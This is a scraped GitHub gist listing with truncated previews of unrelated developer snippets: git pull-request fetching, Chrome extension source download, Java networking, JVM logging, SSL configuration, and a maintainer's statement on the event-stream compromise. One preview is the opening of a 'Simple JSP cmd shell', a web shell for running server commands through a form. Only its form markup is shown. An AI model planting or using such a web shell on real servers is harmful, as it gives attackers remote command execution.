Skip to content

Instantly share code, notes, and snippets.

@hay
hay / gist:1351230
Created November 9, 2011 11:55
Enterprisify your Java Class Names!
<!doctype html>
<html>
<head>
<title></title>
<style>
body {
background: white;
text-align: center;
padding: 20px;
font-family: Georgia, serif;
@piscisaureus
piscisaureus / pr.md
Created August 13, 2012 16:12
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

<?
/////////////////////
// slack2html
// by @levelsio
/////////////////////
//
/////////////////////
// WHAT DOES THIS DO?
/////////////////////
//
@paulirish
paulirish / how-to-view-source-of-chrome-extension.md
Last active March 28, 2024 04:14
How to view-source of a Chrome extension

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

@paulirish
paulirish / server-timing-demo.js
Last active January 14, 2024 13:22
Demo of server timing values. visualized in chrome devtools
// see for screenshot:
// https://twitter.com/paul_irish/status/829090506084749312
const http = require('http');
function requestHandler(request, response) {
const headers = {
'Server-Timing': `
sql-1;desc="MySQL lookup Server";dur=100,
sql-2;dur=900;desc="MySQL shard Server #1",
@thomasdarimont
thomasdarimont / SharedServerSocketPortExample.java
Last active August 11, 2019 11:36
Example to demonstrate sharing of ServerSocket ports with Java 9
package demo.net;
import java.io.FilterOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.StandardSocketOptions;
import java.util.UUID;
@nikallass
nikallass / cmd.jsp
Created April 30, 2018 16:54
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
@dominictarr
dominictarr / readme.md
Created November 26, 2018 22:39
statement on event-stream compromise

Hey everyone - this is not just a one off thing, there are likely to be many other modules in your dependency trees that are now a burden to their authors. I didn't create this code for altruistic motivations, I created it for fun. I was learning, and learning is fun. I gave it away because it was easy to do so, and because sharing helps learning too. I think most of the small modules on npm were created for reasons like this. However, that was a long time ago. I've since moved on from this module and moved on from that thing too and in the process of moving on from that as well. I've written way better modules than this, the internet just hasn't fully caught up.

@broros

otherwise why would he hand over a popular package to a stranger?

If it's not fun anymore, you get literally nothing from maintaining a popular package.

One time, I was working as a dishwasher in a restu

@bric3
bric3 / hacking_jvm_logging.java
Last active July 28, 2020 22:14
misappropriate Jfr to log your own logs with unified logging, limited to some tag set though
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.util.Arrays;
import java.util.Set;
public class hacking_jvm_logging {
/**
* Logging Level
*
* public enum LogLevel {
@Hakky54
Hakky54 / cheat_sheet_http_client_ssl_configuration_for_java_kotlin_scala.md
Last active August 18, 2022 11:56
Cheat Sheet - Http Client SSL TLS Configuration for Java Kotlin and Scala with example http requests